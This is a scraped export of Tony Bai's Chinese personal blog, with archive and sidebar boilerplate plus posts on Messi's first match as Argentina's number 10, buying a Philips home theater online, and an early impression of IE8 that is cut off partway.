2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/04/08/only-a-word-or-two-about-unit-test/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"有关单元测试的“只言片语”"},{"content":"10号球衣对于阿根廷足球来说，意味深长，甚至阿根廷10号之争都成了国际媒体热烈追逐的热点新闻。似乎没有哪个其他足球强国的10号之争能有阿根廷10 号这样大的影响力。阿根廷10号意味着什么呢？意味着史上最伟大的足球运动员-球王迭戈·马拉多纳、意味着给阿根廷带来第一座大力神金杯的马里奥·肯佩 斯，意味着蓝白军团阿根廷队的王者，阿根廷10号就是阿根廷队的国王。\n2009 年3月29日上午6点，蓝白军团阿根廷队开始了新一轮的南非世界杯外围赛的征程。球王马拉多纳也迎来了自己带领国家队以来的首场世界杯预选赛比赛。对手委 内瑞拉是个弱队，阿根廷拿下对手应该在情理之中，关键是看老马的排兵布阵、临场指挥以及阿根廷队能打入几个进球。\n赛前，里克尔梅意外宣布 退出国家队，这就意味着阿根廷将诞生一位新10号，梅西被看作是10号的最热门候选人。不过老马赛前却给大家释放了烟雾弹，就在昨天下午媒体还暴露出消息 说，梅西无缘阿根廷10号，蒙特内格罗将接替里克尔梅衣钵。但就在今晨比赛前老马更换了10号球衣的归属，梅西正式穿上了伟大的阿根廷10号球衣，以至于 场上阿根廷球员的球衣上都没有来得及印名字。\n球王马拉多纳\n10号意味着王者，但也同样意味着巨大压力，特别是对于梅西这位年仅21岁的年轻球员来说，如何将压力转换为动力？是摆在梅西面前的问题。在巴萨俱乐部梅西用惊艳的表现证明了年纪轻轻的自己无愧巴萨10号的地位；本场比赛梅西也同样做到了这一点。\n本 场比赛，老马祭出了3-4-3的进攻型阵容。安赫莱利被委以重任，把守中路；萨内蒂和海因策分居左右两翼。在中场，队长马斯切拉诺和加戈组成双后腰，古铁 雷斯和马克西·罗格里格斯在边路活动；前场的阵容估计会让所有足球强国羡慕，梅西、阿圭罗和特维斯，三名都曾被预测为球王接班人的球员组成了梦幻的“三叉 戟”，让对手不寒而栗。\n阿根廷首发阵容\n开 场后，梅西如事先预料依旧在他熟悉的右路活动，本场第一次触球梅西就过了对方一群后卫，在前方的角度被封死后，梅西又回带又过了对方一群后卫，这样的状态 让大家对梅西的信心十足。第3分钟，梅西在左路接队友传球突入并完成了本场比赛两队的第一次射门，球被对方密集的防守当初，还差点让阿圭罗获得单刀机会， 遗憾后者处于越位位置。\n梅西带球突破\n梅西射门瞬间\n5 分钟后，阿根廷已经占据了场上绝对的优势，球基本一直在阿根廷球员脚下。第12分钟，梅西右路拿球，横向眼花缭乱的带球动作让对手防不胜防，梅西找准机会 一脚挑传，可惜有些大，处在左路的阿圭罗没能拿到球。此后大约10分钟，阿根廷队打的很耐心，比赛渐渐平稳下来。不过这种平稳也就仅仅持续了这10分钟， 梅西就帮助阿根廷取得领先。\n第24分钟，先是梅西右路下底横穿，特维斯门前头球偏出。第25分钟，萨内蒂在本方断球后，沿着左路曲线长距 离带球，过中场后，将球分给中路的特维斯，特维斯趟了几步后顺势将球分给右路的梅西，梅西再与特维斯做了一个经典的也是在巴萨总用的撞墙式配合后，突入禁 区，人到球到，梅西左脚顺势一脚推射，球直挂球门左下角，1:0。梅西打入了其身披阿根廷10号球衣的第一个进球，意义非凡，这一进球也在刹那间再次引爆 河床纪念球场的气氛。进球后的梅西显得十分兴奋，10号带来的压力似乎瞬间做出了释放。\n梅西破门瞬间\n门将目送皮球入网\n特维斯庆祝梅西进球\n进 球后，阿根廷依旧掌握着场上优势，委内瑞拉仅有零星反击。在上半场即将结束前，梅西一脚直传，阿圭罗心领神会，球恰到好处的到了阿圭罗脚下，形成单刀，阿 圭罗晃过门将后右脚射门，遗憾的是对方后卫球员弃而不舍的将球从球门线前救出。就这样上半场阿根廷凭借10号梅西的进球，1:0领先对手。\n下半场，仅仅一分钟不到，阿根廷队就迎来了第二粒进球。梅西在右路拿球后，用速度强吃对方三名后卫，在底线附近对手的干扰下，将球舒服的传到中路，特维斯在无人盯防的条件下，从容起脚打门中的，2:0。阿根廷可以说已经锁定胜局。\n两 球落后的委内瑞拉也意识到不能只死守了，要攻出去，拼抢也逐渐积极起来。但这却给了阿根廷球员机会。第52分钟，阿圭罗右路拿球后传中，中路马克西巧射破 门，3:0。随后阿根廷队似乎放松了下来，守多攻少。不过阿圭罗在第73分钟的进球再次让球迷点燃热情之火。阿圭罗在门前接古铁雷斯的传球，晃过对方后卫 后打门，门将方向判断失误，球滚入球门，4:0。随后特维斯、阿圭罗和特维斯先后被换下。梅西依旧被老马放在场上与队友磨合。\n梅西被重点“照顾”\n梅 西本场的表演并没有结束，在终场结束前梅西先后完成了两次长途奔袭的表演，其中第二次是梅西中圈附近拿球，连过对方4名后卫，面对门将射门，球遗憾的从右 侧偏出，如果这个球能进的话，那将是“相当的”完美了。最终本场比赛比分定格在4:0。老马取得了自己在世界杯预选赛的开门红，新科10号梅西也以一场完 美的个人演出向世人证明自己身披10号名副其实，本场梅西的阿根廷国家队10号首秀也是梅西个人诸多首秀表演中最完美的一次了。\n相信身兼巴萨10号和阿根廷10号的天才梅西必将在以后的足球生涯中给球迷带来更多惊喜的。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/03/29/nation-agentina-vs-venezuela/","summary":"\u003cp\u003e10号球衣对于阿根廷足球来说，意味深长，甚至阿根廷10号之争都成了国际媒体热烈追逐的热点新闻。似乎没有哪个其他足球强国的10号之争能有阿根廷10 号这样大的影响力。阿根廷10号意味着什么呢？意味着史上最伟大的足球运动员-球王迭戈·马拉多纳、意味着给阿根廷带来第一座大力神金杯的马里奥·肯佩 斯，意味着蓝白军团阿根廷队的王者，阿根廷10号就是阿根廷队的国王。\u003c/p\u003e","title":"梅西·正式加冕阿根廷10号"},{"content":"今天上午我在京东商城订购的飞利浦HTS3156/93型入门级家庭影院终于到货了。从去年年末开始就一直关注着这款家庭影院，只是当时地柜还没有选好，影院买回来也是无用武之地。总体来说这款影院物美价廉，比较适合我。我不是什么发烧友，不是很追求音质，自己也没长出那么好的耳朵，再好的音响估计也听不出来太大差别；这款影院颜色和外观与客厅里以黑色为主的家具比较搭配；还有家里液晶电视就是飞利浦的，同样牌子的东西显得比较整齐划一^_^；这款的功能也算是齐全，支持LP最需要的卡拉OK功能；最后一点，也是最重要的一点那就是这款家庭影院性价比高啊，才不到2K的身价，超值。\n以前在网上买东西价钱从来没有超过500元的，多为图书和服饰类；以前真的不敢在网上买电器，生怕有质量问题不好处理。不过实在是禁不住价钱的诱惑，同样这款型号的正品家庭影院，国美和苏宁就要比网上贵出1000多块；\u0026ldquo;巨额价差\u0026quot;驱使着我决定在网上下单了。本来是想在卓越网下单的，毕竟以前基本所有的网购都到卓越去，至今未出现什么问题，大公司可信度较高。可偏偏这些日子卓越没货。国内网络卖电器价位更低就算是京东商城了，前不久还在京东买了款笔记本背包，挺满意。而且发现京东的价格要比卓越还要低。之前在淘宝网也\u0026quot;淘\u0026quot;了一阵，发现价钱基本与京东差不多，京东也算是一家国内大公司了，B2C模式的风险毕竟还是比C2C的要低许多，遂决定在京东下单。\n网络支付在这年头真是太普遍了，支付宝是我目前的第一选择。以前买的都是小东西，支付很顺利。这一次支付近2K却遇到了麻烦。招行的支付系统总是提示我\u0026quot;超出支付最大限额\u0026rdquo;，将信用卡的支付额度设置为最大也不成。后来才发现原来招行信用卡与支付宝之间每次最多充值499.99元，次数倒是不限。不过京东商城不像淘宝网的那些个体户，不能通过修改商品价格并多次支付来完成支付。这次算是不能用支付宝做保障了，既然信任京东，那就直接信用卡支付了。\n上周六晚上支付的，周日就收到短信说货已经到达了北京中铁快运；这周一上午这里中铁快运的人就联系到了我说货已经到了，问我何时送货。这样的到货速度还是令我很惊奇的。即使是在本地国美买，也就是第二天才能送到呗。不过快递的人显然没有理会我在订货单上备注栏标注的\u0026quot;只周六、周日收货\u0026quot;。既然来了，那就收吧。\n早上9点，快递的工人就到了楼下，不过人家只管送，可不管抬上楼。无奈只能自己下楼收货。东西比我预想的还要大和沉。一口气把它抬上五楼也着实让我这个平时不怎么注重锻炼身体的人累的大口喘气^_^。好歹是把它弄到屋里了。京东网建议用户不要私自拆箱安装，而是预约免费的客服服务。但是音响这点东西我还是应付的来的，自己动手，风衣足食。\n安装过程很简单，将各个音箱摆放到各自位置，线统一连到功放上即可。稍麻烦点的是两个前置环绕，需要用一枚螺丝将插在一起的音箱和支柱固定住。家庭影院原包中附带一个CVBS视频线，按照说明直接连到电视的AV IN即可。给功放DVD一体机接上电源，按下STANDBY-ON按钮，你的电视上就会出现DVD待机画面；本想找一张DVD碟片试试，可找了半天家里居然一张DVD或CD碟片都没有。还好这款机器支持USB直放。把一首酷玩乐队的Viva La Vida放到U盘里，然后将U盘插上，设置机器为USB播放模式，耳边立刻响起了酷玩主唱那经典的嗓音。这款机器还支持MP3 LINE IN，你可以将电脑的耳机输出口通过原包装中提供的连接线直连到功放上，这样就可以通过你的影院音箱来欣赏你电脑里的音乐了，当然这样有些屈才，影院5.1声道的才能无法施展开来。\n最后上几张开箱图片和安装后的图片！\n飞利浦3156/93完整包装全景\n飞利浦3156/93开箱后第一层\n飞利浦3156/93开箱后第二层\n飞利浦3156/93开箱后第三层\n功放DVD一体机和中置\n低音炮(木质箱)\n左后置环绕\n左前置音箱\n","permalink":"https://tonybai.com/2009/03/24/buy-philips-home-theater-from-internet/","summary":"\u003cp\u003e今天上午我在\u003ca href=\"http://www.360buy.com/\" title=\"京东商城\"\u003e京东商城\u003c/a\u003e订购的飞利浦HTS3156/93型入门级家庭影院终于到货了。从去年年末开始就一直关注着这款家庭影院，只是当时地柜还没有选好，影院买回来也是无用武之地。总体来说这款影院物美价廉，比较适合我。我不是什么发烧友，不是很追求音质，自己也没长出那么好的耳朵，再好的音响估计也听不出来太大差别；这款影院颜色和外观与客厅里以黑色为主的家具比较搭配；还有家里\u003ca href=\"http://tonybai.com/2008/09/13/choose-and-buy-lcd-tv/\" title=\"液晶电视\"\u003e液晶电视\u003c/a\u003e就是飞利浦的，同样牌子的东西显得比较整齐划一^_^；这款的功能也算是齐全，支持LP最需要的卡拉OK功能；最后一点，也是最重要的一点那就是这款家庭影院性价比高啊，才不到2K的身价，超值。\u003c/p\u003e\n\u003cp\u003e以前在网上买东西价钱从来没有超过500元的，多为图书和服饰类；以前真的不敢在网上买电器，生怕有质量问题不好处理。不过实在是禁不住价钱的诱惑，同样这款型号的正品家庭影院，\u003ca href=\"http://tonybai.com/2007/07/24/delivery-service-of-gome-make-me-disppointed/\" title=\"国美购物\"\u003e国美\u003c/a\u003e和苏宁就要比网上贵出1000多块；\u0026ldquo;巨额价差\u0026quot;驱使着我决定在网上下单了。本来是想在\u003ca href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\" title=\"卓越网买书\"\u003e卓越网\u003c/a\u003e下单的，毕竟以前基本所有的网购都到卓越去，至今未出现什么问题，大公司可信度较高。可偏偏这些日子卓越没货。国内网络卖电器价位更低就算是京东商城了，前不久还在京东买了款\u003ca href=\"http://tonybai.com/2009/02/26/an-outline-history-of-china-and-thinkpad-pack/\" title=\"红点包\"\u003e笔记本背包\u003c/a\u003e，挺满意。而且发现京东的价格要比卓越还要低。之前在淘宝网也\u0026quot;淘\u0026quot;了一阵，发现价钱基本与京东差不多，京东也算是一家国内大公司了，B2C模式的风险毕竟还是比C2C的要低许多，遂决定在京东下单。\u003c/p\u003e","title":"网购飞利浦家庭影院小记"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/03/24/use-electric-pressure-cooker-cook-roast-chicken-with-soy-sauce/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"用电压力锅制作酱焖鸡腿"},{"content":"北京时间2009年3月20日零点，软件巨头微软公司正式发布了其Internet Explorer系列的最新版本8.0，简称IE8。早上上班后我第一时间下载了IE8的简体中文版For Windows XP。执行安装文件，重启电脑，IE8很容易就安装完毕了。\n自己平时最常用的浏览器是Mozila的Firefox，但考虑到公司内部办公网以及中国内地诸多网站对Firefox糟糕的兼容性，让我还不得不继续使用着微软的Internet Explorer。一直在用7.0，也一直在诟病7.0，与Firefox的轻巧和快捷相比，IE7.0简直是\u0026quot;又笨又慢\u0026quot;。所以这次微软发布8.0版，我就迫不及待的下载了最新版，期望着微软能修复7.0给用户带来的丑陋体验。\n初次打开IE8，界面没有太大变化，但是速度似乎明显快多了。CTRL+T打开一个新标签页的速度也比IE7要快上不少。我遂眼前一亮，难道IE8真的是微软Browser的\u0026quot;救世主\u0026quot;？继续体验。打开个人最喜欢的新浪体育，初步感觉速度的确有提升。又点开了新浪体育主页的几个关于巴萨的网页链接，有几个是正常打开了，还有几个标签页一直在加载，似乎没有加载结束的趋势，再刷新那一页，居然得到了崩溃的提示，这个标签页居然崩溃了。不过IE8照比以前版本有改进，那就是一个标签页崩溃不会影响其他标签页，不会导致整个IE退出。又试了若干网页，同样出现了类似现象。真怀疑微软的测试人员是否做足了测试，是否在中国纷繁芜杂的网络环境下做足了测试，存在这样大的瑕疵的正式版都敢发布，唉。无奈换回Firefox。\n晚上在进行网上购物交易付款时，IE8居然打不开付款页，无论我如何重试都无法打开支付页，害得我没能及时拿下我心仪已久的那套家庭影院系统。\n今天上午无端发现系统变得像蜗牛一样慢，打开进程